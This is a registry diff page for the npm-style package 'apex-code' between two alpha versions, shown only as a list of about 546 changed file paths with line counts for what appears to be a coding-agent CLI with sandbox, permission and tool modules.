apex-code 0.0.1-alpha.0 → 0.0.1-alpha.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (739) hide show
  1. package/CHANGELOG.md +471 -0
  2. package/README.md +74 -680
  3. package/dist/cli/args.d.ts +21 -1
  4. package/dist/cli/args.d.ts.map +1 -1
  5. package/dist/cli/args.js +119 -15
  6. package/dist/cli/args.js.map +1 -1
  7. package/dist/cli/auth-command.d.ts.map +1 -1
  8. package/dist/cli/auth-command.js +3 -3
  9. package/dist/cli/auth-command.js.map +1 -1
  10. package/dist/cli/concurrent-session.d.ts +3 -0
  11. package/dist/cli/concurrent-session.d.ts.map +1 -0
  12. package/dist/cli/concurrent-session.js +13 -0
  13. package/dist/cli/concurrent-session.js.map +1 -0
  14. package/dist/cli/cost-command.d.ts +19 -0
  15. package/dist/cli/cost-command.d.ts.map +1 -0
  16. package/dist/cli/cost-command.js +107 -0
  17. package/dist/cli/cost-command.js.map +1 -0
  18. package/dist/cli/file-processor.d.ts.map +1 -1
  19. package/dist/cli/file-processor.js +2 -1
  20. package/dist/cli/file-processor.js.map +1 -1
  21. package/dist/cli/startup-ui.d.ts +1 -1
  22. package/dist/cli/startup-ui.d.ts.map +1 -1
  23. package/dist/cli/startup-ui.js +1 -2
  24. package/dist/cli/startup-ui.js.map +1 -1
  25. package/dist/cli.d.ts.map +1 -1
  26. package/dist/cli.js +99 -16
  27. package/dist/cli.js.map +1 -1
  28. package/dist/config.d.ts +5 -4
  29. package/dist/config.d.ts.map +1 -1
  30. package/dist/config.js +35 -20
  31. package/dist/config.js.map +1 -1
  32. package/dist/core/agent-session-runtime.d.ts.map +1 -1
  33. package/dist/core/agent-session-runtime.js +2 -0
  34. package/dist/core/agent-session-runtime.js.map +1 -1
  35. package/dist/core/agent-session-services.d.ts +28 -0
  36. package/dist/core/agent-session-services.d.ts.map +1 -1
  37. package/dist/core/agent-session-services.js +140 -4
  38. package/dist/core/agent-session-services.js.map +1 -1
  39. package/dist/core/agent-session.d.ts +121 -9
  40. package/dist/core/agent-session.d.ts.map +1 -1
  41. package/dist/core/agent-session.js +364 -123
  42. package/dist/core/agent-session.js.map +1 -1
  43. package/dist/core/auth-storage.d.ts +4 -1
  44. package/dist/core/auth-storage.d.ts.map +1 -1
  45. package/dist/core/auth-storage.js +17 -14
  46. package/dist/core/auth-storage.js.map +1 -1
  47. package/dist/core/bash-executor.d.ts.map +1 -1
  48. package/dist/core/bash-executor.js +11 -10
  49. package/dist/core/bash-executor.js.map +1 -1
  50. package/dist/core/compaction/branch-summarization.d.ts.map +1 -1
  51. package/dist/core/compaction/branch-summarization.js +3 -0
  52. package/dist/core/compaction/branch-summarization.js.map +1 -1
  53. package/dist/core/compaction/compaction.d.ts +4 -3
  54. package/dist/core/compaction/compaction.d.ts.map +1 -1
  55. package/dist/core/compaction/compaction.js +41 -32
  56. package/dist/core/compaction/compaction.js.map +1 -1
  57. package/dist/core/context/deferred-schemas.d.ts +92 -0
  58. package/dist/core/context/deferred-schemas.d.ts.map +1 -0
  59. package/dist/core/context/deferred-schemas.js +74 -0
  60. package/dist/core/context/deferred-schemas.js.map +1 -0
  61. package/dist/core/context/eviction.d.ts +47 -0
  62. package/dist/core/context/eviction.d.ts.map +1 -0
  63. package/dist/core/context/eviction.js +83 -0
  64. package/dist/core/context/eviction.js.map +1 -0
  65. package/dist/core/context/pipeline.d.ts +90 -0
  66. package/dist/core/context/pipeline.d.ts.map +1 -0
  67. package/dist/core/context/pipeline.js +109 -0
  68. package/dist/core/context/pipeline.js.map +1 -0
  69. package/dist/core/credential-failover.d.ts +30 -0
  70. package/dist/core/credential-failover.d.ts.map +1 -0
  71. package/dist/core/credential-failover.js +46 -0
  72. package/dist/core/credential-failover.js.map +1 -0
  73. package/dist/core/credential-pool.d.ts +60 -0
  74. package/dist/core/credential-pool.d.ts.map +1 -0
  75. package/dist/core/credential-pool.js +84 -0
  76. package/dist/core/credential-pool.js.map +1 -0
  77. package/dist/core/defaults.d.ts +1 -0
  78. package/dist/core/defaults.d.ts.map +1 -1
  79. package/dist/core/defaults.js +9 -0
  80. package/dist/core/defaults.js.map +1 -1
  81. package/dist/core/delegation/agents.d.ts +15 -0
  82. package/dist/core/delegation/agents.d.ts.map +1 -0
  83. package/dist/core/delegation/agents.js +55 -0
  84. package/dist/core/delegation/agents.js.map +1 -0
  85. package/dist/core/delegation/ceiling.d.ts +29 -0
  86. package/dist/core/delegation/ceiling.d.ts.map +1 -0
  87. package/dist/core/delegation/ceiling.js +34 -0
  88. package/dist/core/delegation/ceiling.js.map +1 -0
  89. package/dist/core/delegation/runtime.d.ts +94 -0
  90. package/dist/core/delegation/runtime.d.ts.map +1 -0
  91. package/dist/core/delegation/runtime.js +117 -0
  92. package/dist/core/delegation/runtime.js.map +1 -0
  93. package/dist/core/durable-state/daemon.d.ts +37 -0
  94. package/dist/core/durable-state/daemon.d.ts.map +1 -0
  95. package/dist/core/durable-state/daemon.js +62 -0
  96. package/dist/core/durable-state/daemon.js.map +1 -0
  97. package/dist/core/durable-state/provenance.d.ts +7 -0
  98. package/dist/core/durable-state/provenance.d.ts.map +1 -0
  99. package/dist/core/durable-state/provenance.js +24 -0
  100. package/dist/core/durable-state/provenance.js.map +1 -0
  101. package/dist/core/durable-state/sqlite.d.ts +84 -0
  102. package/dist/core/durable-state/sqlite.d.ts.map +1 -0
  103. package/dist/core/durable-state/sqlite.js +355 -0
  104. package/dist/core/durable-state/sqlite.js.map +1 -0
  105. package/dist/core/environment.d.ts +12 -0
  106. package/dist/core/environment.d.ts.map +1 -0
  107. package/dist/core/environment.js +69 -0
  108. package/dist/core/environment.js.map +1 -0
  109. package/dist/core/evidence-policy.d.ts +17 -0
  110. package/dist/core/evidence-policy.d.ts.map +1 -0
  111. package/dist/core/evidence-policy.js +25 -0
  112. package/dist/core/evidence-policy.js.map +1 -0
  113. package/dist/core/evidence.d.ts +16 -0
  114. package/dist/core/evidence.d.ts.map +1 -0
  115. package/dist/core/evidence.js +51 -0
  116. package/dist/core/evidence.js.map +1 -0
  117. package/dist/core/experimental.d.ts +4 -0
  118. package/dist/core/experimental.d.ts.map +1 -1
  119. package/dist/core/experimental.js +6 -1
  120. package/dist/core/experimental.js.map +1 -1
  121. package/dist/core/extensions/index.d.ts +2 -2
  122. package/dist/core/extensions/index.d.ts.map +1 -1
  123. package/dist/core/extensions/index.js +1 -1
  124. package/dist/core/extensions/index.js.map +1 -1
  125. package/dist/core/extensions/loader.d.ts.map +1 -1
  126. package/dist/core/extensions/loader.js +115 -48
  127. package/dist/core/extensions/loader.js.map +1 -1
  128. package/dist/core/extensions/types.d.ts +44 -9
  129. package/dist/core/extensions/types.d.ts.map +1 -1
  130. package/dist/core/extensions/types.js +3 -0
  131. package/dist/core/extensions/types.js.map +1 -1
  132. package/dist/core/footer-data-provider.d.ts +1 -1
  133. package/dist/core/footer-data-provider.d.ts.map +1 -1
  134. package/dist/core/footer-data-provider.js +1 -1
  135. package/dist/core/footer-data-provider.js.map +1 -1
  136. package/dist/core/http-dispatcher.d.ts +1 -2
  137. package/dist/core/http-dispatcher.d.ts.map +1 -1
  138. package/dist/core/http-dispatcher.js +2 -17
  139. package/dist/core/http-dispatcher.js.map +1 -1
  140. package/dist/core/http-idle-timeout.d.ts +12 -0
  141. package/dist/core/http-idle-timeout.d.ts.map +1 -0
  142. package/dist/core/http-idle-timeout.js +27 -0
  143. package/dist/core/http-idle-timeout.js.map +1 -0
  144. package/dist/core/index.d.ts +1 -0
  145. package/dist/core/index.d.ts.map +1 -1
  146. package/dist/core/index.js +1 -0
  147. package/dist/core/index.js.map +1 -1
  148. package/dist/core/keybindings.d.ts +38 -13
  149. package/dist/core/keybindings.d.ts.map +1 -1
  150. package/dist/core/keybindings.js +26 -5
  151. package/dist/core/keybindings.js.map +1 -1
  152. package/dist/core/lsp/client.d.ts +78 -0
  153. package/dist/core/lsp/client.d.ts.map +1 -0
  154. package/dist/core/lsp/client.js +494 -0
  155. package/dist/core/lsp/client.js.map +1 -0
  156. package/dist/core/lsp/diagnostics.d.ts +47 -0
  157. package/dist/core/lsp/diagnostics.d.ts.map +1 -0
  158. package/dist/core/lsp/diagnostics.js +224 -0
  159. package/dist/core/lsp/diagnostics.js.map +1 -0
  160. package/dist/core/lsp/pool.d.ts +48 -0
  161. package/dist/core/lsp/pool.d.ts.map +1 -0
  162. package/dist/core/lsp/pool.js +150 -0
  163. package/dist/core/lsp/pool.js.map +1 -0
  164. package/dist/core/lsp/registry.d.ts +49 -0
  165. package/dist/core/lsp/registry.d.ts.map +1 -0
  166. package/dist/core/lsp/registry.js +215 -0
  167. package/dist/core/lsp/registry.js.map +1 -0
  168. package/dist/core/lsp/status.d.ts +23 -0
  169. package/dist/core/lsp/status.d.ts.map +1 -0
  170. package/dist/core/lsp/status.js +35 -0
  171. package/dist/core/lsp/status.js.map +1 -0
  172. package/dist/core/lsp/sync.d.ts +13 -0
  173. package/dist/core/lsp/sync.d.ts.map +1 -0
  174. package/dist/core/lsp/sync.js +71 -0
  175. package/dist/core/lsp/sync.js.map +1 -0
  176. package/dist/core/model-config.d.ts +18 -0
  177. package/dist/core/model-config.d.ts.map +1 -1
  178. package/dist/core/model-config.js +25 -6
  179. package/dist/core/model-config.js.map +1 -1
  180. package/dist/core/model-resolver.d.ts +21 -0
  181. package/dist/core/model-resolver.d.ts.map +1 -1
  182. package/dist/core/model-resolver.js +73 -8
  183. package/dist/core/model-resolver.js.map +1 -1
  184. package/dist/core/model-runtime.d.ts +73 -0
  185. package/dist/core/model-runtime.d.ts.map +1 -1
  186. package/dist/core/model-runtime.js +225 -8
  187. package/dist/core/model-runtime.js.map +1 -1
  188. package/dist/core/models-store.d.ts.map +1 -1
  189. package/dist/core/models-store.js +2 -1
  190. package/dist/core/models-store.js.map +1 -1
  191. package/dist/core/observability/aggregate.d.ts +21 -0
  192. package/dist/core/observability/aggregate.d.ts.map +1 -0
  193. package/dist/core/observability/aggregate.js +36 -0
  194. package/dist/core/observability/aggregate.js.map +1 -0
  195. package/dist/core/observability/otlp.d.ts +66 -0
  196. package/dist/core/observability/otlp.d.ts.map +1 -0
  197. package/dist/core/observability/otlp.js +95 -0
  198. package/dist/core/observability/otlp.js.map +1 -0
  199. package/dist/core/package-manager.d.ts.map +1 -1
  200. package/dist/core/package-manager.js +40 -16
  201. package/dist/core/package-manager.js.map +1 -1
  202. package/dist/core/permissions/gate.d.ts +42 -0
  203. package/dist/core/permissions/gate.d.ts.map +1 -0
  204. package/dist/core/permissions/gate.js +72 -0
  205. package/dist/core/permissions/gate.js.map +1 -0
  206. package/dist/core/permissions/modes.d.ts +18 -0
  207. package/dist/core/permissions/modes.d.ts.map +1 -0
  208. package/dist/core/permissions/modes.js +57 -0
  209. package/dist/core/permissions/modes.js.map +1 -0
  210. package/dist/core/permissions/responder.d.ts +30 -0
  211. package/dist/core/permissions/responder.d.ts.map +1 -0
  212. package/dist/core/permissions/responder.js +32 -0
  213. package/dist/core/permissions/responder.js.map +1 -0
  214. package/dist/core/permissions/rules.d.ts +34 -0
  215. package/dist/core/permissions/rules.d.ts.map +1 -0
  216. package/dist/core/permissions/rules.js +74 -0
  217. package/dist/core/permissions/rules.js.map +1 -0
  218. package/dist/core/permissions/startup.d.ts +45 -0
  219. package/dist/core/permissions/startup.d.ts.map +1 -0
  220. package/dist/core/permissions/startup.js +63 -0
  221. package/dist/core/permissions/startup.js.map +1 -0
  222. package/dist/core/permissions/store.d.ts +114 -0
  223. package/dist/core/permissions/store.d.ts.map +1 -0
  224. package/dist/core/permissions/store.js +229 -0
  225. package/dist/core/permissions/store.js.map +1 -0
  226. package/dist/core/pi-manifest.d.ts.map +1 -1
  227. package/dist/core/pi-manifest.js +2 -1
  228. package/dist/core/pi-manifest.js.map +1 -1
  229. package/dist/core/project-trust.d.ts.map +1 -1
  230. package/dist/core/project-trust.js +1 -1
  231. package/dist/core/project-trust.js.map +1 -1
  232. package/dist/core/provider-attribution.d.ts.map +1 -1
  233. package/dist/core/provider-attribution.js +6 -7
  234. package/dist/core/provider-attribution.js.map +1 -1
  235. package/dist/core/remote-catalog-provider.d.ts +2 -2
  236. package/dist/core/remote-catalog-provider.d.ts.map +1 -1
  237. package/dist/core/remote-catalog-provider.js +22 -17
  238. package/dist/core/remote-catalog-provider.js.map +1 -1
  239. package/dist/core/resource-loader.d.ts.map +1 -1
  240. package/dist/core/resource-loader.js +3 -2
  241. package/dist/core/resource-loader.js.map +1 -1
  242. package/dist/core/sandbox/bwrap-arguments.d.ts +52 -0
  243. package/dist/core/sandbox/bwrap-arguments.d.ts.map +1 -0
  244. package/dist/core/sandbox/bwrap-arguments.js +86 -0
  245. package/dist/core/sandbox/bwrap-arguments.js.map +1 -0
  246. package/dist/core/sandbox/child-entry.d.ts +2 -0
  247. package/dist/core/sandbox/child-entry.d.ts.map +1 -0
  248. package/dist/core/sandbox/child-entry.js +22 -0
  249. package/dist/core/sandbox/child-entry.js.map +1 -0
  250. package/dist/core/sandbox/cli-launch.d.ts +88 -0
  251. package/dist/core/sandbox/cli-launch.d.ts.map +1 -0
  252. package/dist/core/sandbox/cli-launch.js +272 -0
  253. package/dist/core/sandbox/cli-launch.js.map +1 -0
  254. package/dist/core/sandbox/cli-supervisor.d.ts +30 -0
  255. package/dist/core/sandbox/cli-supervisor.d.ts.map +1 -0
  256. package/dist/core/sandbox/cli-supervisor.js +123 -0
  257. package/dist/core/sandbox/cli-supervisor.js.map +1 -0
  258. package/dist/core/sandbox/default-hosts.d.ts +28 -0
  259. package/dist/core/sandbox/default-hosts.d.ts.map +1 -0
  260. package/dist/core/sandbox/default-hosts.js +69 -0
  261. package/dist/core/sandbox/default-hosts.js.map +1 -0
  262. package/dist/core/sandbox/full-access.d.ts +28 -0
  263. package/dist/core/sandbox/full-access.d.ts.map +1 -0
  264. package/dist/core/sandbox/full-access.js +63 -0
  265. package/dist/core/sandbox/full-access.js.map +1 -0
  266. package/dist/core/sandbox/git-identity.d.ts +57 -0
  267. package/dist/core/sandbox/git-identity.d.ts.map +1 -0
  268. package/dist/core/sandbox/git-identity.js +78 -0
  269. package/dist/core/sandbox/git-identity.js.map +1 -0
  270. package/dist/core/sandbox/host-approval.d.ts +42 -0
  271. package/dist/core/sandbox/host-approval.d.ts.map +1 -0
  272. package/dist/core/sandbox/host-approval.js +99 -0
  273. package/dist/core/sandbox/host-approval.js.map +1 -0
  274. package/dist/core/sandbox/linux-backend.d.ts +46 -0
  275. package/dist/core/sandbox/linux-backend.d.ts.map +1 -0
  276. package/dist/core/sandbox/linux-backend.js +304 -0
  277. package/dist/core/sandbox/linux-backend.js.map +1 -0
  278. package/dist/core/sandbox/macos-backend.d.ts +28 -0
  279. package/dist/core/sandbox/macos-backend.d.ts.map +1 -0
  280. package/dist/core/sandbox/macos-backend.js +313 -0
  281. package/dist/core/sandbox/macos-backend.js.map +1 -0
  282. package/dist/core/sandbox/network-proxy.d.ts +38 -0
  283. package/dist/core/sandbox/network-proxy.d.ts.map +1 -0
  284. package/dist/core/sandbox/network-proxy.js +153 -0
  285. package/dist/core/sandbox/network-proxy.js.map +1 -0
  286. package/dist/core/sandbox/network-refusal.d.ts +24 -0
  287. package/dist/core/sandbox/network-refusal.d.ts.map +1 -0
  288. package/dist/core/sandbox/network-refusal.js +72 -0
  289. package/dist/core/sandbox/network-refusal.js.map +1 -0
  290. package/dist/core/sandbox/policy.d.ts +40 -0
  291. package/dist/core/sandbox/policy.d.ts.map +1 -0
  292. package/dist/core/sandbox/policy.js +55 -0
  293. package/dist/core/sandbox/policy.js.map +1 -0
  294. package/dist/core/sandbox/profiles.d.ts +25 -0
  295. package/dist/core/sandbox/profiles.d.ts.map +1 -0
  296. package/dist/core/sandbox/profiles.js +23 -0
  297. package/dist/core/sandbox/profiles.js.map +1 -0
  298. package/dist/core/sandbox/rpc/command-client.d.ts +28 -0
  299. package/dist/core/sandbox/rpc/command-client.d.ts.map +1 -0
  300. package/dist/core/sandbox/rpc/command-client.js +86 -0
  301. package/dist/core/sandbox/rpc/command-client.js.map +1 -0
  302. package/dist/core/sandbox/rpc/command-proxy.d.ts +48 -0
  303. package/dist/core/sandbox/rpc/command-proxy.d.ts.map +1 -0
  304. package/dist/core/sandbox/rpc/command-proxy.js +120 -0
  305. package/dist/core/sandbox/rpc/command-proxy.js.map +1 -0
  306. package/dist/core/sandbox/rpc/credential-client.d.ts +20 -0
  307. package/dist/core/sandbox/rpc/credential-client.d.ts.map +1 -0
  308. package/dist/core/sandbox/rpc/credential-client.js +170 -0
  309. package/dist/core/sandbox/rpc/credential-client.js.map +1 -0
  310. package/dist/core/sandbox/rpc/credential-proxy.d.ts +44 -0
  311. package/dist/core/sandbox/rpc/credential-proxy.d.ts.map +1 -0
  312. package/dist/core/sandbox/rpc/credential-proxy.js +287 -0
  313. package/dist/core/sandbox/rpc/credential-proxy.js.map +1 -0
  314. package/dist/core/sandbox/rpc/framing.d.ts +35 -0
  315. package/dist/core/sandbox/rpc/framing.d.ts.map +1 -0
  316. package/dist/core/sandbox/rpc/framing.js +114 -0
  317. package/dist/core/sandbox/rpc/framing.js.map +1 -0
  318. package/dist/core/sandbox/rpc/git-credential-helper.d.ts +40 -0
  319. package/dist/core/sandbox/rpc/git-credential-helper.d.ts.map +1 -0
  320. package/dist/core/sandbox/rpc/git-credential-helper.js +152 -0
  321. package/dist/core/sandbox/rpc/git-credential-helper.js.map +1 -0
  322. package/dist/core/sandbox/rpc/git-credential-proxy.d.ts +48 -0
  323. package/dist/core/sandbox/rpc/git-credential-proxy.d.ts.map +1 -0
  324. package/dist/core/sandbox/rpc/git-credential-proxy.js +142 -0
  325. package/dist/core/sandbox/rpc/git-credential-proxy.js.map +1 -0
  326. package/dist/core/sandbox/supervisor-temp.d.ts +18 -0
  327. package/dist/core/sandbox/supervisor-temp.d.ts.map +1 -0
  328. package/dist/core/sandbox/supervisor-temp.js +21 -0
  329. package/dist/core/sandbox/supervisor-temp.js.map +1 -0
  330. package/dist/core/sandbox/supervisor.d.ts +51 -0
  331. package/dist/core/sandbox/supervisor.d.ts.map +1 -0
  332. package/dist/core/sandbox/supervisor.js +18 -0
  333. package/dist/core/sandbox/supervisor.js.map +1 -0
  334. package/dist/core/sandbox/terminal-handoff.d.ts +45 -0
  335. package/dist/core/sandbox/terminal-handoff.d.ts.map +1 -0
  336. package/dist/core/sandbox/terminal-handoff.js +176 -0
  337. package/dist/core/sandbox/terminal-handoff.js.map +1 -0
  338. package/dist/core/sandbox/terminal-size.d.ts +40 -0
  339. package/dist/core/sandbox/terminal-size.d.ts.map +1 -0
  340. package/dist/core/sandbox/terminal-size.js +105 -0
  341. package/dist/core/sandbox/terminal-size.js.map +1 -0
  342. package/dist/core/sandbox/violations.d.ts +23 -0
  343. package/dist/core/sandbox/violations.d.ts.map +1 -0
  344. package/dist/core/sandbox/violations.js +30 -0
  345. package/dist/core/sandbox/violations.js.map +1 -0
  346. package/dist/core/sdk.d.ts +32 -41
  347. package/dist/core/sdk.d.ts.map +1 -1
  348. package/dist/core/sdk.js +161 -6
  349. package/dist/core/sdk.js.map +1 -1
  350. package/dist/core/session-export.d.ts +4 -0
  351. package/dist/core/session-export.d.ts.map +1 -0
  352. package/dist/core/session-export.js +32 -0
  353. package/dist/core/session-export.js.map +1 -0
  354. package/dist/core/session-lease.d.ts +31 -0
  355. package/dist/core/session-lease.d.ts.map +1 -0
  356. package/dist/core/session-lease.js +138 -0
  357. package/dist/core/session-lease.js.map +1 -0
  358. package/dist/core/session-manager.d.ts +46 -2
  359. package/dist/core/session-manager.d.ts.map +1 -1
  360. package/dist/core/session-manager.js +62 -4
  361. package/dist/core/session-manager.js.map +1 -1
  362. package/dist/core/session-share.d.ts +31 -0
  363. package/dist/core/session-share.d.ts.map +1 -0
  364. package/dist/core/session-share.js +45 -0
  365. package/dist/core/session-share.js.map +1 -0
  366. package/dist/core/settings-diagnostics.d.ts +9 -0
  367. package/dist/core/settings-diagnostics.d.ts.map +1 -0
  368. package/dist/core/settings-diagnostics.js +21 -0
  369. package/dist/core/settings-diagnostics.js.map +1 -0
  370. package/dist/core/settings-manager.d.ts +92 -9
  371. package/dist/core/settings-manager.d.ts.map +1 -1
  372. package/dist/core/settings-manager.js +138 -36
  373. package/dist/core/settings-manager.js.map +1 -1
  374. package/dist/core/skills.d.ts +19 -7
  375. package/dist/core/skills.d.ts.map +1 -1
  376. package/dist/core/skills.js +128 -52
  377. package/dist/core/skills.js.map +1 -1
  378. package/dist/core/slash-commands.d.ts.map +1 -1
  379. package/dist/core/slash-commands.js +5 -2
  380. package/dist/core/slash-commands.js.map +1 -1
  381. package/dist/core/system-prompt.d.ts +2 -2
  382. package/dist/core/system-prompt.d.ts.map +1 -1
  383. package/dist/core/system-prompt.js +59 -68
  384. package/dist/core/system-prompt.js.map +1 -1
  385. package/dist/core/timings.d.ts +1 -1
  386. package/dist/core/timings.d.ts.map +1 -1
  387. package/dist/core/timings.js +3 -2
  388. package/dist/core/timings.js.map +1 -1
  389. package/dist/core/tools/ask-user.d.ts +25 -0
  390. package/dist/core/tools/ask-user.d.ts.map +1 -0
  391. package/dist/core/tools/ask-user.js +49 -0
  392. package/dist/core/tools/ask-user.js.map +1 -0
  393. package/dist/core/tools/bash-command-segments.d.ts +22 -0
  394. package/dist/core/tools/bash-command-segments.d.ts.map +1 -0
  395. package/dist/core/tools/bash-command-segments.js +128 -0
  396. package/dist/core/tools/bash-command-segments.js.map +1 -0
  397. package/dist/core/tools/bash.d.ts +40 -4
  398. package/dist/core/tools/bash.d.ts.map +1 -1
  399. package/dist/core/tools/bash.js +183 -32
  400. package/dist/core/tools/bash.js.map +1 -1
  401. package/dist/core/tools/contract.d.ts +183 -0
  402. package/dist/core/tools/contract.d.ts.map +1 -0
  403. package/dist/core/tools/contract.js +48 -0
  404. package/dist/core/tools/contract.js.map +1 -0
  405. package/dist/core/tools/delegate.d.ts +38 -0
  406. package/dist/core/tools/delegate.d.ts.map +1 -0
  407. package/dist/core/tools/delegate.js +90 -0
  408. package/dist/core/tools/delegate.js.map +1 -0
  409. package/dist/core/tools/diagnostics.d.ts +39 -0
  410. package/dist/core/tools/diagnostics.d.ts.map +1 -0
  411. package/dist/core/tools/diagnostics.js +62 -0
  412. package/dist/core/tools/diagnostics.js.map +1 -0
  413. package/dist/core/tools/edit-diff.d.ts +0 -5
  414. package/dist/core/tools/edit-diff.d.ts.map +1 -1
  415. package/dist/core/tools/edit-diff.js +2 -5
  416. package/dist/core/tools/edit-diff.js.map +1 -1
  417. package/dist/core/tools/edit.d.ts +12 -2
  418. package/dist/core/tools/edit.d.ts.map +1 -1
  419. package/dist/core/tools/edit.js +61 -10
  420. package/dist/core/tools/edit.js.map +1 -1
  421. package/dist/core/tools/find.d.ts +2 -2
  422. package/dist/core/tools/find.d.ts.map +1 -1
  423. package/dist/core/tools/find.js +13 -1
  424. package/dist/core/tools/find.js.map +1 -1
  425. package/dist/core/tools/grep.d.ts +4 -2
  426. package/dist/core/tools/grep.d.ts.map +1 -1
  427. package/dist/core/tools/grep.js +47 -10
  428. package/dist/core/tools/grep.js.map +1 -1
  429. package/dist/core/tools/index.d.ts +51 -6
  430. package/dist/core/tools/index.d.ts.map +1 -1
  431. package/dist/core/tools/index.js +145 -2
  432. package/dist/core/tools/index.js.map +1 -1
  433. package/dist/core/tools/ls.d.ts +4 -2
  434. package/dist/core/tools/ls.d.ts.map +1 -1
  435. package/dist/core/tools/ls.js +17 -1
  436. package/dist/core/tools/ls.js.map +1 -1
  437. package/dist/core/tools/lsp.d.ts +62 -0
  438. package/dist/core/tools/lsp.d.ts.map +1 -0
  439. package/dist/core/tools/lsp.js +216 -0
  440. package/dist/core/tools/lsp.js.map +1 -0
  441. package/dist/core/tools/output-accumulator.d.ts.map +1 -1
  442. package/dist/core/tools/output-accumulator.js +1 -1
  443. package/dist/core/tools/output-accumulator.js.map +1 -1
  444. package/dist/core/tools/path-permission.d.ts +18 -0
  445. package/dist/core/tools/path-permission.d.ts.map +1 -0
  446. package/dist/core/tools/path-permission.js +28 -0
  447. package/dist/core/tools/path-permission.js.map +1 -0
  448. package/dist/core/tools/plan-present.d.ts +27 -0
  449. package/dist/core/tools/plan-present.d.ts.map +1 -0
  450. package/dist/core/tools/plan-present.js +55 -0
  451. package/dist/core/tools/plan-present.js.map +1 -0
  452. package/dist/core/tools/powershell.d.ts +16 -0
  453. package/dist/core/tools/powershell.d.ts.map +1 -0
  454. package/dist/core/tools/powershell.js +39 -0
  455. package/dist/core/tools/powershell.js.map +1 -0
  456. package/dist/core/tools/read.d.ts +2 -2
  457. package/dist/core/tools/read.d.ts.map +1 -1
  458. package/dist/core/tools/read.js +14 -0
  459. package/dist/core/tools/read.js.map +1 -1
  460. package/dist/core/tools/skill-search.d.ts +32 -0
  461. package/dist/core/tools/skill-search.d.ts.map +1 -0
  462. package/dist/core/tools/skill-search.js +56 -0
  463. package/dist/core/tools/skill-search.js.map +1 -0
  464. package/dist/core/tools/test.d.ts +34 -0
  465. package/dist/core/tools/test.d.ts.map +1 -0
  466. package/dist/core/tools/test.js +75 -0
  467. package/dist/core/tools/test.js.map +1 -0
  468. package/dist/core/tools/todo-write.d.ts +31 -0
  469. package/dist/core/tools/todo-write.d.ts.map +1 -0
  470. package/dist/core/tools/todo-write.js +51 -0
  471. package/dist/core/tools/todo-write.js.map +1 -0
  472. package/dist/core/tools/tool-definition-wrapper.d.ts +13 -2
  473. package/dist/core/tools/tool-definition-wrapper.d.ts.map +1 -1
  474. package/dist/core/tools/tool-definition-wrapper.js +11 -1
  475. package/dist/core/tools/tool-definition-wrapper.js.map +1 -1
  476. package/dist/core/tools/tool-schema.d.ts +22 -0
  477. package/dist/core/tools/tool-schema.d.ts.map +1 -0
  478. package/dist/core/tools/tool-schema.js +45 -0
  479. package/dist/core/tools/tool-schema.js.map +1 -0
  480. package/dist/core/tools/web-fetch.d.ts +26 -0
  481. package/dist/core/tools/web-fetch.d.ts.map +1 -0
  482. package/dist/core/tools/web-fetch.js +62 -0
  483. package/dist/core/tools/web-fetch.js.map +1 -0
  484. package/dist/core/tools/web-search-exa.d.ts +33 -0
  485. package/dist/core/tools/web-search-exa.d.ts.map +1 -0
  486. package/dist/core/tools/web-search-exa.js +128 -0
  487. package/dist/core/tools/web-search-exa.js.map +1 -0
  488. package/dist/core/tools/web-search.d.ts +26 -0
  489. package/dist/core/tools/web-search.d.ts.map +1 -0
  490. package/dist/core/tools/web-search.js +53 -0
  491. package/dist/core/tools/web-search.js.map +1 -0
  492. package/dist/core/tools/write.d.ts +16 -2
  493. package/dist/core/tools/write.d.ts.map +1 -1
  494. package/dist/core/tools/write.js +48 -2
  495. package/dist/core/tools/write.js.map +1 -1
  496. package/dist/core/trust-manager.d.ts.map +1 -1
  497. package/dist/core/trust-manager.js +2 -1
  498. package/dist/core/trust-manager.js.map +1 -1
  499. package/dist/core/usage-performance-store.d.ts +56 -0
  500. package/dist/core/usage-performance-store.d.ts.map +1 -0
  501. package/dist/core/usage-performance-store.js +85 -0
  502. package/dist/core/usage-performance-store.js.map +1 -0
  503. package/dist/core/web-search-provider.d.ts +64 -0
  504. package/dist/core/web-search-provider.d.ts.map +1 -0
  505. package/dist/core/web-search-provider.js +149 -0
  506. package/dist/core/web-search-provider.js.map +1 -0
  507. package/dist/extensions/llama/index.d.ts.map +1 -1
  508. package/dist/extensions/llama/index.js +2 -0
  509. package/dist/extensions/llama/index.js.map +1 -1
  510. package/dist/extensions/llama/provider.d.ts.map +1 -1
  511. package/dist/extensions/llama/provider.js +6 -2
  512. package/dist/extensions/llama/provider.js.map +1 -1
  513. package/dist/index.d.ts +7 -6
  514. package/dist/index.d.ts.map +1 -1
  515. package/dist/index.js +5 -4
  516. package/dist/index.js.map +1 -1
  517. package/dist/main.d.ts +5 -0
  518. package/dist/main.d.ts.map +1 -1
  519. package/dist/main.js +87 -22
  520. package/dist/main.js.map +1 -1
  521. package/dist/migrations.d.ts.map +1 -1
  522. package/dist/migrations.js +6 -5
  523. package/dist/migrations.js.map +1 -1
  524. package/dist/modes/interactive/components/config-selector.d.ts.map +1 -1
  525. package/dist/modes/interactive/components/config-selector.js +9 -6
  526. package/dist/modes/interactive/components/config-selector.js.map +1 -1
  527. package/dist/modes/interactive/components/custom-editor.d.ts +72 -1
  528. package/dist/modes/interactive/components/custom-editor.d.ts.map +1 -1
  529. package/dist/modes/interactive/components/custom-editor.js +338 -1
  530. package/dist/modes/interactive/components/custom-editor.js.map +1 -1
  531. package/dist/modes/interactive/components/dynamic-border.d.ts +7 -1
  532. package/dist/modes/interactive/components/dynamic-border.d.ts.map +1 -1
  533. package/dist/modes/interactive/components/dynamic-border.js +11 -2
  534. package/dist/modes/interactive/components/dynamic-border.js.map +1 -1
  535. package/dist/modes/interactive/components/extension-selector.d.ts +4 -0
  536. package/dist/modes/interactive/components/extension-selector.d.ts.map +1 -1
  537. package/dist/modes/interactive/components/extension-selector.js +24 -6
  538. package/dist/modes/interactive/components/extension-selector.js.map +1 -1
  539. package/dist/modes/interactive/components/first-time-setup.d.ts +1 -4
  540. package/dist/modes/interactive/components/first-time-setup.d.ts.map +1 -1
  541. package/dist/modes/interactive/components/first-time-setup.js +17 -41
  542. package/dist/modes/interactive/components/first-time-setup.js.map +1 -1
  543. package/dist/modes/interactive/components/first-use-hints.d.ts +8 -0
  544. package/dist/modes/interactive/components/first-use-hints.d.ts.map +1 -0
  545. package/dist/modes/interactive/components/first-use-hints.js +22 -0
  546. package/dist/modes/interactive/components/first-use-hints.js.map +1 -0
